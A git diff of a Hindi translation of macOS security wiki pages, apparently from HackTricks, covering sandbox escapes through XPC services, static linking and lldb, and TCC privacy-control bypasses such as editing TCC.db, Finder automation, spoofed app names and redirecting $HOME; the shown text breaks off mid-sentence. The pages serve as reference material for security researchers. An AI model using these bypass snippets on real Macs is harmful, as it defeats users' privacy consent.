`runTask:arguments:withReply:` एक मनमाना कमांड मनमाने पैरामीटर के साथ निष्पादित करती है। -शोषण "इतना सरल था": +दुरुपयोग "इतना सरल था": ```objectivec @protocol SKRemoteTaskRunnerProtocol -(void)runTask:(NSURL *)task arguments:(NSArray *)args withReply:(void (^)(NSNumber *, NSError *))reply; @@ -132,7 +132,7 @@ NSLog(@"run task result:%@, error:%@", bSucc, error); यह XPC सेवा हर क्लाइंट को हमेशा YES लौटाकर अनुमति देती थी और विधि `createZipAtPath:hourThreshold:withReply:` मूल रूप से एक फ़ोल्डर के पथ को संकुचित करने के लिए इंगित करने की अनुमति देती थी और यह इसे एक ZIP फ़ाइल में संकुचित कर देगी। -इसलिए, एक नकली ऐप फ़ोल्डर संरचना उत्पन्न करना, उसे संकुचित करना, फिर उसे अनज़िप करना और निष्पादित करना संभव है ताकि सैंडबॉक्स से बाहर निकलने के लिए नए फ़ाइलों में संगरोध विशेषता न हो। +इसलिए, एक नकली ऐप फ़ोल्डर संरचना उत्पन्न करना, इसे संकुचित करना, फिर इसे अनज़िप करना और इसे निष्पादित करना संभव है ताकि सैंडबॉक्स से बाहर निकलने के लिए नए फ़ाइलों में संगरोध विशेषता न हो। शोषण था: ```objectivec @@ -173,7 +173,7 @@ break; ``` #### /System/Library/PrivateFrameworks/WorkflowKit.framework/XPCServices/ShortcutsFileAccessHelper.xpc -यह XPC सेवा XPC क्लाइंट को `extendAccessToURL:completion:` विधि के माध्यम से एक मनमाने URL के लिए पढ़ने और लिखने की अनुमति देती है, जो किसी भी कनेक्शन को स्वीकार करती है। चूंकि XPC सेवा में FDA है, इसलिए इन अनुमतियों का दुरुपयोग करके TCC को पूरी तरह से बायपास करना संभव है। +यह XPC सेवा XPC क्लाइंट को `extendAccessToURL:completion:` विधि के माध्यम से एक मनमाने URL के लिए पढ़ने और लिखने की अनुमति देने की अनुमति देती है, जो किसी भी कनेक्शन को स्वीकार करती है। चूंकि XPC सेवा में FDA है, इसलिए इन अनुमतियों का दुरुपयोग करके TCC को पूरी तरह से बायपास करना संभव है। शोषण था: ```objectivec @@ -205,10 +205,10 @@ NSLog(@"Read the target content:%@", [NSData dataWithContentsOfURL:targetURL]); ``` ### स्थैतिक संकलन और गतिशील लिंकिंग -[**यह शोध**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) ने Sandbox को बायपास करने के 2 तरीके खोजे। क्योंकि Sandbox उपयोगकर्ता स्तर से लागू होता है जब **libSystem** पुस्तकालय लोड होता है। यदि एक बाइनरी इसे लोड करने से बच सकती है, तो यह कभी भी Sandbox में नहीं आएगी: +[**इस शोध**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) ने Sandbox को बायपास करने के 2 तरीके खोजे। क्योंकि Sandbox उपयोगकर्ता स्तर से लागू होता है जब **libSystem** पुस्तकालय लोड होता है। यदि एक बाइनरी इसे लोड करने से बच सकती है, तो यह कभी भी Sandbox में नहीं आएगी: - यदि बाइनरी **पूर्ण रूप से स्थैतिक रूप से संकलित** होती है, तो यह उस पुस्तकालय को लोड करने से बच सकती है। -- यदि **बाइनरी को किसी पुस्तकालय को लोड करने की आवश्यकता नहीं है** (क्योंकि लिंक करने वाला भी libSystem में है), तो इसे libSystem को लोड करने की आवश्यकता नहीं होगी। +- यदि **बाइनरी को किसी पुस्तकालय को लोड करने की आवश्यकता नहीं है** (क्योंकि लिंककर्ता भी libSystem में है), तो इसे libSystem को लोड करने की आवश्यकता नहीं होगी। ### शेलकोड @@ -225,7 +225,7 @@ ld: dynamic executables or dylibs must link with libSystem.dylib for architectur (allow default) (deny file-write* (literal "/private/tmp/sbx")) ``` -एक नए प्रक्रिया द्वारा बायपास किया जा सकता है, उदाहरण के लिए: +एक नए प्रोसेस द्वारा बायपास किया जा सकता है, उदाहरण के लिए: ```bash mkdir -p /tmp/poc.app/Contents/MacOS echo '#!/bin/sh\n touch /tmp/sbx' > /tmp/poc.app/Contents/MacOS/poc @@ -250,6 +250,7 @@ open /tmp/poc.app **Interposting** के बारे में अधिक जानकारी के लिए देखें: + {{#ref}} ../../../macos-proces-abuse/macos-function-hooking.md {{#endref}} @@ -322,7 +323,7 @@ __mac_syscall invoked. Policy: Quarantine, Call: 87 __mac_syscall invoked. Policy: Sandbox, Call: 4 Sandbox Bypassed! ``` -### lldb के साथ Sandbox को डिबग और बायपास करें +### Debug & bypass Sandbox with lldb आइए एक ऐसा एप्लिकेशन संकलित करें जिसे सैंडबॉक्स किया जाना चाहिए: @@ -358,6 +359,9 @@ system("cat ~/Desktop/del.txt"); ``` +{{#endtab}} +{{#endtabs}} + फिर ऐप को संकलित करें: ```bash # Compile it @@ -370,7 +374,7 @@ codesign -s --entitlements entitlements.xml sand ``` > [!CAUTION] > ऐप **`~/Desktop/del.txt`** फ़ाइल को **पढ़ने** की कोशिश करेगा, जिसे **Sandbox अनुमति नहीं देगा**।\ -> वहाँ एक फ़ाइल बनाएं क्योंकि एक बार Sandbox को बायपास किया गया, यह इसे पढ़ सकेगा: +> वहां एक फ़ाइल बनाएं क्योंकि एक बार Sandbox को बायपास करने के बाद, यह इसे पढ़ सकेगा: > > ```bash > echo "Sandbox Bypassed" > ~/Desktop/del.txt @@ -453,7 +457,7 @@ Process 2517 resuming Sandbox Bypassed! Process 2517 exited with status = 0 (0x00000000) ``` -> [!WARNING] > **सैंडबॉक्स को बायपास करने के बावजूद TCC** उपयोगकर्ता से पूछेगा कि क्या वह प्रक्रिया को डेस्कटॉप से फ़ाइलें पढ़ने की अनुमति देना चाहता है +> [!WARNING] > **सैंडबॉक्स बायपास होने के बावजूद TCC** उपयोगकर्ता से पूछेगा कि क्या वह प्रक्रिया को डेस्कटॉप से फ़ाइलें पढ़ने की अनुमति देना चाहता है ## References diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md index 7cff06abe..338b094e9 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md @@ -4,15 +4,15 @@ ## **बुनियादी जानकारी** -**TCC (Transparency, Consent, and Control)** एक सुरक्षा प्रोटोकॉल है जो एप्लिकेशन अनुमतियों को नियंत्रित करने पर केंद्रित है। इसकी प्राथमिक भूमिका संवेदनशील सुविधाओं जैसे **स्थान सेवाएँ, संपर्क, फ़ोटो, माइक्रोफ़ोन, कैमरा, पहुँच, और पूर्ण डिस्क एक्सेस** की सुरक्षा करना है। TCC उपयोगकर्ता की स्पष्ट सहमति को अनिवार्य करके इन तत्वों तक ऐप की पहुँच प्रदान करता है, जिससे गोपनीयता और उपयोगकर्ता के डेटा पर नियंत्रण बढ़ता है। +**TCC (Transparency, Consent, and Control)** एक सुरक्षा प्रोटोकॉल है जो एप्लिकेशन अनुमतियों को विनियमित करने पर केंद्रित है। इसकी प्राथमिक भूमिका संवेदनशील सुविधाओं जैसे **स्थान सेवाएँ, संपर्क, फ़ोटो, माइक्रोफ़ोन, कैमरा, पहुँच, और पूर्ण डिस्क एक्सेस** की सुरक्षा करना है। TCC उपयोगकर्ता की स्पष्ट सहमति को अनिवार्य करके इन तत्वों तक ऐप की पहुँच प्रदान करने से पहले, गोपनीयता और उपयोगकर्ता के डेटा पर नियंत्रण को बढ़ाता है। उपयोगकर्ता TCC का सामना तब करते हैं जब एप्लिकेशन संरक्षित सुविधाओं तक पहुँच का अनुरोध करते हैं। यह एक प्रॉम्प्ट के माध्यम से दिखाई देता है जो उपयोगकर्ताओं को **पहुँच को स्वीकृत या अस्वीकृत** करने की अनुमति देता है। इसके अलावा, TCC सीधे उपयोगकर्ता क्रियाओं को समायोजित करता है, जैसे कि **फाइलों को एक एप्लिकेशन में खींचना और छोड़ना**, ताकि विशिष्ट फ़ाइलों तक पहुँच प्रदान की जा सके, यह सुनिश्चित करते हुए कि एप्लिकेशन केवल वही एक्सेस करें जो स्पष्ट रूप से अनुमत है। ![An example of a TCC prompt](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855) -**TCC** का प्रबंधन **daemon** द्वारा किया जाता है जो `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` में स्थित है और `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` में कॉन्फ़िगर किया गया है (mach सेवा `com.apple.tccd.system` को पंजीकृत करना)। +**TCC** को **daemon** द्वारा संभाला जाता है जो `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` में स्थित है और `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` में कॉन्फ़िगर किया गया है (mach सेवा `com.apple.tccd.system` को पंजीकृत करना)। -एक **उपयोगकर्ता-मोड tccd** प्रत्येक लॉग इन उपयोगकर्ता के लिए चलता है जो `/System/Library/LaunchAgents/com.apple.tccd.plist` में परिभाषित है, जो mach सेवाओं `com.apple.tccd` और `com.apple.usernotifications.delegate.com.apple.tccd` को पंजीकृत करता है। +एक **उपयोगकर्ता-मोड tccd** प्रत्येक लॉग इन उपयोगकर्ता के लिए चल रहा है जो `/System/Library/LaunchAgents/com.apple.tccd.plist` में परिभाषित है, जो mach सेवाओं `com.apple.tccd` और `com.apple.usernotifications.delegate.com.apple.tccd` को पंजीकृत करता है। यहाँ आप tccd को सिस्टम और उपयोगकर्ता के रूप में चलते हुए देख सकते हैं: ```bash @@ -32,19 +32,19 @@ ps -ef | grep tcc - यह डेटाबेस संरक्षित है इसलिए केवल उच्च TCC विशेषाधिकार वाले प्रक्रियाएँ जैसे कि पूर्ण डिस्क एक्सेस इसमें लिख सकती हैं (लेकिन यह SIP द्वारा संरक्षित नहीं है)। > [!WARNING] -> पिछले डेटाबेस भी **पढ़ने की पहुँच के लिए TCC संरक्षित** हैं। इसलिए आप **अपनी नियमित उपयोगकर्ता TCC डेटाबेस नहीं पढ़ पाएंगे** जब तक कि यह TCC विशेषाधिकार प्राप्त प्रक्रिया से न हो। +> पिछले डेटाबेस भी **पढ़ने की पहुँच के लिए TCC संरक्षित** हैं। इसलिए आप **अपना नियमित उपयोगकर्ता TCC डेटाबेस नहीं पढ़ पाएंगे** जब तक कि यह TCC विशेषाधिकार प्राप्त प्रक्रिया से न हो। > -> हालाँकि, याद रखें कि इन उच्च विशेषाधिकार वाली प्रक्रिया (जैसे **FDA** या **`kTCCServiceEndpointSecurityClient`**) को उपयोगकर्ताओं के TCC डेटाबेस में लिखने की अनुमति होगी। +> हालाँकि, याद रखें कि इन उच्च विशेषाधिकार वाली प्रक्रिया (जैसे **FDA** या **`kTCCServiceEndpointSecurityClient`**) को उपयोगकर्ता TCC डेटाबेस में लिखने की अनुमति होगी। - एक **तीसरा** TCC डेटाबेस **`/var/db/locationd/clients.plist`** में है जो उन क्लाइंट्स को इंगित करता है जिन्हें **स्थान सेवाओं** तक पहुँचने की अनुमति है। -- SIP संरक्षित फ़ाइल **`/Users/carlospolop/Downloads/REG.db`** (जो TCC के साथ पढ़ने की पहुँच से भी संरक्षित है), सभी **मान्य TCC डेटाबेस** का **स्थान** रखती है। -- SIP संरक्षित फ़ाइल **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (जो TCC के साथ पढ़ने की पहुँच से भी संरक्षित है), अधिक TCC दी गई अनुमतियों को रखती है। +- SIP संरक्षित फ़ाइल **`/Users/carlospolop/Downloads/REG.db`** (जो पढ़ने की पहुँच से TCC द्वारा भी संरक्षित है), सभी **मान्य TCC डेटाबेस** का **स्थान** रखती है। +- SIP संरक्षित फ़ाइल **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (जो पढ़ने की पहुँच से TCC द्वारा भी संरक्षित है), अधिक TCC दी गई अनुमतियों को रखती है। - SIP संरक्षित फ़ाइल **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (जो किसी के द्वारा पढ़ी जा सकती है) उन अनुप्रयोगों की अनुमति सूची है जिन्हें TCC अपवाद की आवश्यकता है। > [!TIP] > **iOS** में TCC डेटाबेस **`/private/var/mobile/Library/TCC/TCC.db`** में है। -> [!NOTE] +> [!TIP] > **सूचना केंद्र UI** **सिस्टम TCC डेटाबेस** में **परिवर्तन** कर सकता है: > > ```bash @@ -102,10 +102,10 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0; {{#endtabs}} > [!TIP] -> दोनों डेटाबेस की जांच करके आप यह देख सकते हैं कि किसी ऐप को कौन सी अनुमतियाँ दी गई हैं, कौन सी मना की गई हैं, या कौन सी नहीं हैं (यह इसके लिए पूछेगा)। +> दोनों डेटाबेस की जांच करके आप देख सकते हैं कि किसी ऐप को कौन सी अनुमति दी गई है, कौन सी मना की गई है, या कौन सी नहीं है (यह इसके लिए पूछेगा)। - **`service`** TCC **अनुमति** का स्ट्रिंग प्रतिनिधित्व है -- **`client`** **बंडल ID** या **बाइनरी का पथ** है जिसमें अनुमतियाँ हैं +- **`client`** **बंडल आईडी** या **बाइनरी का पथ** है जिसमें अनुमतियाँ हैं - **`client_type`** यह दर्शाता है कि यह एक बंडल पहचानकर्ता(0) है या एक पूर्ण पथ(1)
@@ -199,14 +199,14 @@ csreq -t -r /tmp/telegram_csreq.bin (anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram" ``` > [!WARNING] -> इसलिए, समान नाम और बंडल आईडी वाले अन्य एप्लिकेशन को अन्य ऐप्स को दी गई अनुमतियों तक पहुंच प्राप्त नहीं होगी। +> इसलिए, उसी नाम और बंडल आईडी का उपयोग करने वाले अन्य अनुप्रयोगों को अन्य ऐप्स को दिए गए अनुमतियों तक पहुंच प्राप्त नहीं होगी। ### अधिकार और TCC अनुमतियाँ ऐप्स **केवल आवश्यकता नहीं है** कि वे **अनुरोध करें** और कुछ संसाधनों तक **पहुँच प्राप्त करें**, उन्हें **संबंधित अधिकार भी होने चाहिए**।\ -उदाहरण के लिए, **Telegram** के पास **कैमरे तक पहुँच** के लिए अधिकार `com.apple.security.device.camera` है। एक **ऐप** जो **इस अधिकार** के बिना है, वह कैमरे तक **पहुँच नहीं प्राप्त कर सकेगा** (और उपयोगकर्ता से अनुमतियों के लिए भी नहीं पूछा जाएगा)। +उदाहरण के लिए, **Telegram** के पास **कैमरे तक पहुँच** के लिए `com.apple.security.device.camera` का अधिकार है। एक **ऐप** जो **इस अधिकार** के बिना है, वह कैमरे तक पहुँच **नहीं कर पाएगा** (और उपयोगकर्ता से अनुमतियों के लिए भी नहीं पूछा जाएगा)। -हालांकि, ऐप्स को **कुछ उपयोगकर्ता फ़ोल्डरों** जैसे `~/Desktop`, `~/Downloads` और `~/Documents` तक **पहुँच** के लिए किसी विशेष **अधिकार** की आवश्यकता नहीं है। सिस्टम स्वचालित रूप से पहुँच को संभालेगा और **उपयोगकर्ता को** आवश्यकतानुसार **प्रेरित करेगा**। +हालांकि, ऐप्स को **कुछ उपयोगकर्ता फ़ोल्डरों** जैसे `~/Desktop`, `~/Downloads` और `~/Documents` तक **पहुँच** के लिए किसी विशेष **अधिकार** की आवश्यकता **नहीं है।** सिस्टम स्वचालित रूप से पहुँच को संभालेगा और **उपयोगकर्ता को** आवश्यकतानुसार **प्रेरित करेगा**। Apple के ऐप्स **प्रेरणाएँ उत्पन्न नहीं करेंगे**। उनके **अधिकार** सूची में **पूर्व-प्रदान किए गए अधिकार** होते हैं, जिसका अर्थ है कि वे **कभी भी पॉपअप उत्पन्न नहीं करेंगे**, **न ही** वे किसी भी **TCC डेटाबेस** में दिखाई देंगे। उदाहरण के लिए: ```bash @@ -222,9 +222,9 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app यह कैलेंडर को उपयोगकर्ता से अनुस्मारक, कैलेंडर और पते की पुस्तक तक पहुँचने के लिए पूछने से रोकेगा। > [!TIP] -> अधिकारों के बारे में कुछ आधिकारिक दस्तावेज़ों के अलावा, **अनौपचारिक रूप से दिलचस्प जानकारी अधिकारों के बारे में** [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl) पाई जा सकती है। +> अधिकारों के बारे में कुछ आधिकारिक दस्तावेज़ों के अलावा, **अनौपचारिक रूप से दिलचस्प जानकारी** भी मिल सकती है [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl) पर। -कुछ TCC अनुमतियाँ हैं: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... सभी को परिभाषित करने वाली कोई सार्वजनिक सूची नहीं है, लेकिन आप इस [**ज्ञात की सूची**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service) की जांच कर सकते हैं। +कुछ TCC अनुमतियाँ हैं: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... सभी को परिभाषित करने वाली कोई सार्वजनिक सूची नहीं है लेकिन आप इस [**ज्ञात की सूची**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service) की जांच कर सकते हैं। ### संवेदनशील असुरक्षित स्थान @@ -234,7 +234,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app ### उपयोगकर्ता इरादा / com.apple.macl -जैसा कि पहले उल्लेख किया गया है, **किसी फ़ाइल के लिए एक ऐप को पहुँच देने के लिए उसे खींचकर और छोड़कर** यह संभव है। यह पहुँच किसी भी TCC डेटाबेस में निर्दिष्ट नहीं होगी, बल्कि फ़ाइल के **विस्तारित** **गुण के रूप में होगी**। यह गुण **अनुमत ऐप का UUID** संग्रहीत करेगा: +जैसा कि पहले उल्लेख किया गया है, **एक फ़ाइल के लिए एक ऐप को पहुँच देने के लिए उसे खींचकर और छोड़कर** यह संभव है। यह पहुँच किसी भी TCC डेटाबेस में निर्दिष्ट नहीं होगी बल्कि फ़ाइल के **विस्तारित** **गुण के रूप में होगी**। यह गुण **अनुमत ऐप का UUID** संग्रहीत करेगा: ```bash xattr Desktop/private.txt com.apple.macl @@ -249,18 +249,18 @@ Filename,Header,App UUID otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3 ``` -> [!NOTE] +> [!TIP] > यह दिलचस्प है कि **`com.apple.macl`** विशेषता **Sandbox** द्वारा प्रबंधित की जाती है, न कि tccd द्वारा। > > यह भी ध्यान दें कि यदि आप एक फ़ाइल को अपने कंप्यूटर में एक ऐप के UUID के साथ किसी अन्य कंप्यूटर में ले जाते हैं, तो क्योंकि उसी ऐप के अलग-अलग UIDs होंगे, यह उस ऐप को एक्सेस नहीं देगा। -विस्तारित विशेषता `com.apple.macl` **अन्य विस्तारित विशेषताओं** की तरह **हटाई नहीं जा सकती** क्योंकि यह **SIP द्वारा संरक्षित** है। हालाँकि, [**इस पोस्ट में समझाया गया है**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), इसे **ज़िप** करके, **हटाकर** और **अनज़िप** करके अक्षम करना संभव है। +विस्तारित विशेषता `com.apple.macl` **अन्य विस्तारित विशेषताओं की तरह** **हटाई नहीं जा सकती** क्योंकि यह **SIP द्वारा संरक्षित है**। हालाँकि, जैसे कि [**इस पोस्ट में समझाया गया है**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), इसे **ज़िप** करके, **हटाकर** और **अनज़िप** करके अक्षम करना संभव है। ## TCC Privesc & Bypasses ### TCC में डालें -यदि किसी बिंदु पर आप TCC डेटाबेस पर लिखने की पहुंच प्राप्त कर लेते हैं, तो आप निम्नलिखित का उपयोग करके एक प्रविष्टि जोड़ सकते हैं (टिप्पणियाँ हटा दें): +यदि किसी बिंदु पर आप TCC डेटाबेस पर लिखने की पहुंच प्राप्त करने में सफल होते हैं, तो आप निम्नलिखित का उपयोग करके एक प्रविष्टि जोड़ सकते हैं (टिप्पणियाँ हटा दें):
@@ -308,7 +308,8 @@ strftime('%s', 'now') -- last_reminded with default current timestamp ### TCC Payloads -यदि आप किसी ऐप में कुछ TCC अनुमतियों के साथ प्रवेश करने में सफल रहे हैं, तो उन्हें दुरुपयोग करने के लिए TCC पेलोड के साथ निम्नलिखित पृष्ठ देखें: +यदि आप किसी ऐप के अंदर कुछ TCC अनुमतियों के साथ पहुँचने में सफल हो गए हैं, तो उन्हें दुरुपयोग करने के लिए TCC पेलोड्स के साथ निम्नलिखित पृष्ठ की जाँच करें: + {{#ref}} macos-tcc-payloads.md @@ -318,6 +319,7 @@ macos-tcc-payloads.md Apple Events के बारे में जानें: + {{#ref}} macos-apple-events.md {{#endref}} @@ -325,7 +327,7 @@ macos-apple-events.md ### Automation (Finder) to FDA\* Automation अनुमति का TCC नाम है: **`kTCCServiceAppleEvents`**\ -यह विशेष TCC अनुमति यह भी इंगित करती है कि **कौन सा एप्लिकेशन प्रबंधित किया जा सकता है** TCC डेटाबेस के अंदर (इसलिए अनुमतियाँ केवल सब कुछ प्रबंधित करने की अनुमति नहीं देती हैं)। +यह विशेष TCC अनुमति यह भी इंगित करती है कि **कौन सा एप्लिकेशन** TCC डेटाबेस के अंदर **प्रबंधित किया जा सकता है** (इसलिए अनुमतियाँ केवल सब कुछ प्रबंधित करने की अनुमति नहीं देती हैं)। **Finder** एक एप्लिकेशन है जो **हमेशा FDA** रखता है (भले ही यह UI में न दिखाई दे), इसलिए यदि आपके पास इसके ऊपर **Automation** विशेषाधिकार हैं, तो आप इसके विशेषाधिकारों का दुरुपयोग करके **कुछ क्रियाएँ करवा सकते हैं**।\ इस मामले में आपके ऐप को **`com.apple.Finder`** पर **`kTCCServiceAppleEvents`** अनुमति की आवश्यकता होगी। @@ -396,11 +398,11 @@ EOD ```
-**स्क्रिप्ट संपादक ऐप** के साथ भी यही होता है, यह फ़ाइंडर को नियंत्रित कर सकता है, लेकिन एक AppleScript का उपयोग करके आप इसे एक स्क्रिप्ट निष्पादित करने के लिए मजबूर नहीं कर सकते। +**Script Editor ऐप के साथ भी यही होता है, यह Finder को नियंत्रित कर सकता है, लेकिन AppleScript का उपयोग करके आप इसे स्क्रिप्ट निष्पादित करने के लिए मजबूर नहीं कर सकते।** -### स्वचालन (SE) कुछ TCC के लिए +### Automation (SE) से कुछ TCC -**सिस्टम इवेंट्स फ़ोल्डर क्रियाएँ बना सकते हैं, और फ़ोल्डर क्रियाएँ कुछ TCC फ़ोल्डरों तक पहुँच सकती हैं** (डेस्कटॉप, दस्तावेज़ और डाउनलोड), इसलिए निम्नलिखित स्क्रिप्ट का उपयोग इस व्यवहार का दुरुपयोग करने के लिए किया जा सकता है: +**System Events फ़ोल्डर क्रियाएँ बना सकता है, और फ़ोल्डर क्रियाएँ कुछ TCC फ़ोल्डरों (Desktop, Documents & Downloads) तक पहुँच सकती हैं, इसलिए निम्नलिखित स्क्रिप्ट का उपयोग इस व्यवहार का दुरुपयोग करने के लिए किया जा सकता है:** ```bash # Create script to execute with the action cat > "/tmp/script.js" <

https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg

-### TCC Request by arbitrary name +### TCC अनुरोध किसी भी नाम से -हमलावर **किसी भी नाम के साथ ऐप्स बना सकता है** (जैसे Finder, Google Chrome...) **`Info.plist`** में और इसे कुछ TCC संरक्षित स्थानों तक पहुंच के लिए अनुरोध करने के लिए बना सकता है। उपयोगकर्ता सोचेगा कि वैध एप्लिकेशन ही इस पहुंच का अनुरोध कर रहा है।\ -इसके अलावा, यह संभव है कि **Dock से वैध ऐप को हटा दें और फर्जी को उस पर रखें**, ताकि जब उपयोगकर्ता फर्जी पर क्लिक करे (जो उसी आइकन का उपयोग कर सकता है) तो यह वैध को कॉल कर सके, TCC अनुमतियों के लिए पूछ सके और एक मैलवेयर निष्पादित कर सके, जिससे उपयोगकर्ता को विश्वास हो कि वैध ऐप ने पहुंच का अनुरोध किया। +हमलावर **किसी भी नाम के साथ ऐप्स बना सकता है** (जैसे Finder, Google Chrome...) **`Info.plist`** में और इसे कुछ TCC संरक्षित स्थानों तक पहुंच के लिए अनुरोध करने के लिए बना सकता है। उपयोगकर्ता सोचेगा कि वैध एप्लिकेशन ही इस पहुंच के लिए अनुरोध कर रहा है।\ +इसके अलावा, यह संभव है कि **Dock से वैध ऐप को हटा दें और इसके स्थान पर नकली ऐप डाल दें**, ताकि जब उपयोगकर्ता नकली पर क्लिक करे (जो उसी आइकन का उपयोग कर सकता है) तो यह वैध ऐप को कॉल कर सके, TCC अनुमतियों के लिए पूछ सके और एक मैलवेयर निष्पादित कर सके, जिससे उपयोगकर्ता को विश्वास हो कि वैध ऐप ने पहुंच का अनुरोध किया।
@@ -37,9 +37,9 @@ asd ../../../macos-privilege-escalation.md {{#endref}} -### SSH Bypass +### SSH बायपास -डिफ़ॉल्ट रूप से **SSH के माध्यम से पहुंच "पूर्ण डिस्क एक्सेस"** के साथ होती थी। इसे अक्षम करने के लिए, आपको इसे सूचीबद्ध लेकिन अक्षम करना होगा (सूची से हटाने से उन विशेषाधिकारों को नहीं हटाया जाएगा): +डिफ़ॉल्ट रूप से **SSH के माध्यम से पहुंच "पूर्ण डिस्क एक्सेस"** के साथ होती थी। इसे अक्षम करने के लिए, आपको इसे सूचीबद्ध करना होगा लेकिन अक्षम करना होगा (सूची से हटाने से उन विशेषाधिकारों को नहीं हटाया जाएगा): ![](<../../../../../images/image (1077).png>) @@ -50,11 +50,11 @@ asd > [!CAUTION] > ध्यान दें कि अब, SSH सक्षम करने के लिए आपको **पूर्ण डिस्क एक्सेस** की आवश्यकता है। -### Handle extensions - CVE-2022-26767 +### हैंडल एक्सटेंशन - CVE-2022-26767 -विशेषता **`com.apple.macl`** फाइलों को दी जाती है ताकि **किसी विशेष एप्लिकेशन को इसे पढ़ने की अनुमति मिल सके।** यह विशेषता तब सेट होती है जब **drag\&drop** के माध्यम से एक फाइल को ऐप पर खींचा जाता है, या जब उपयोगकर्ता **डबल-क्लिक** करता है एक फाइल को इसे **डिफ़ॉल्ट एप्लिकेशन** के साथ खोलने के लिए। +विशेषता **`com.apple.macl`** फाइलों को दी जाती है ताकि **किसी विशेष एप्लिकेशन को इसे पढ़ने की अनुमति मिल सके।** यह विशेषता तब सेट होती है जब **ड्रैग\&ड्रॉप** के माध्यम से एक फाइल को ऐप पर रखा जाता है, या जब उपयोगकर्ता **डबल-क्लिक** करता है एक फाइल को इसे **डिफ़ॉल्ट एप्लिकेशन** के साथ खोलने के लिए। -इसलिए, एक उपयोगकर्ता **एक दुर्भावनापूर्ण ऐप को पंजीकृत कर सकता है** ताकि सभी एक्सटेंशन को संभाल सके और Launch Services को **खोलने** के लिए कॉल कर सके (ताकि दुर्भावनापूर्ण फाइल को इसे पढ़ने की अनुमति मिल सके)। +इसलिए, एक उपयोगकर्ता **एक दुर्भावनापूर्ण ऐप को पंजीकृत कर सकता है** ताकि सभी एक्सटेंशनों को संभाल सके और Launch Services को **खोलने** के लिए कॉल कर सके किसी भी फाइल (ताकि दुर्भावनापूर्ण फाइल को इसे पढ़ने की अनुमति मिल सके)। ### iCloud @@ -62,9 +62,9 @@ asd **iMovie** और **Garageband** के पास यह अधिकार था और अन्य जो अनुमति देते थे। -इस अधिकार से **icloud टोकन** प्राप्त करने के लिए शोषण के बारे में अधिक **जानकारी** के लिए बात देखें: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0) +इस अधिकार से **icloud टोकन** प्राप्त करने के लिए शोषण के बारे में अधिक **जानकारी** के लिए देखें: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0) -### kTCCServiceAppleEvents / Automation +### kTCCServiceAppleEvents / ऑटोमेशन एक ऐप जिसके पास **`kTCCServiceAppleEvents`** अनुमति है, वह **अन्य ऐप्स को नियंत्रित** कर सकेगा। इसका मतलब है कि यह **अन्य ऐप्स को दी गई अनुमतियों का दुरुपयोग** कर सकता है। @@ -78,7 +78,7 @@ macos-apple-scripts.md
-#### Over iTerm +#### iTerm पर Terminal, जिसे FDA नहीं है, iTerm को कॉल कर सकता है, जिसके पास यह है, और इसका उपयोग क्रियाएँ करने के लिए कर सकता है: ```applescript:iterm.script @@ -115,7 +115,7 @@ do shell script "rm " & POSIX path of (copyFile as alias) यूजरलैंड **tccd daemon** **`HOME`** **env** वेरिएबल का उपयोग करके TCC यूजर्स डेटाबेस तक पहुँच रहा था: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** [इस Stack Exchange पोस्ट](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) के अनुसार और क्योंकि TCC daemon वर्तमान यूजर के डोमेन के भीतर `launchd` के माध्यम से चल रहा है, इसे पास किए गए **सभी एनवायरनमेंट वेरिएबल्स** को **नियंत्रित** करना संभव है।\ -इसलिए, एक **हमलावर `$HOME` एनवायरनमेंट** वेरिएबल को **`launchctl`** में एक **नियंत्रित** **डायरेक्टरी** की ओर सेट कर सकता है, **TCC** daemon को **रीस्टार्ट** कर सकता है, और फिर **TCC डेटाबेस को सीधे संशोधित** कर सकता है ताकि वह खुद को **हर TCC अधिकार** दे सके बिना अंत उपयोगकर्ता से कभी भी पूछे।\ +इस प्रकार, एक **हमलावर `$HOME` एनवायरनमेंट** वेरिएबल को **`launchctl`** में एक **नियंत्रित** **डायरेक्टरी** की ओर सेट कर सकता है, **TCC** daemon को **रीस्टार्ट** कर सकता है, और फिर **TCC डेटाबेस को सीधे संशोधित** कर सकता है ताकि 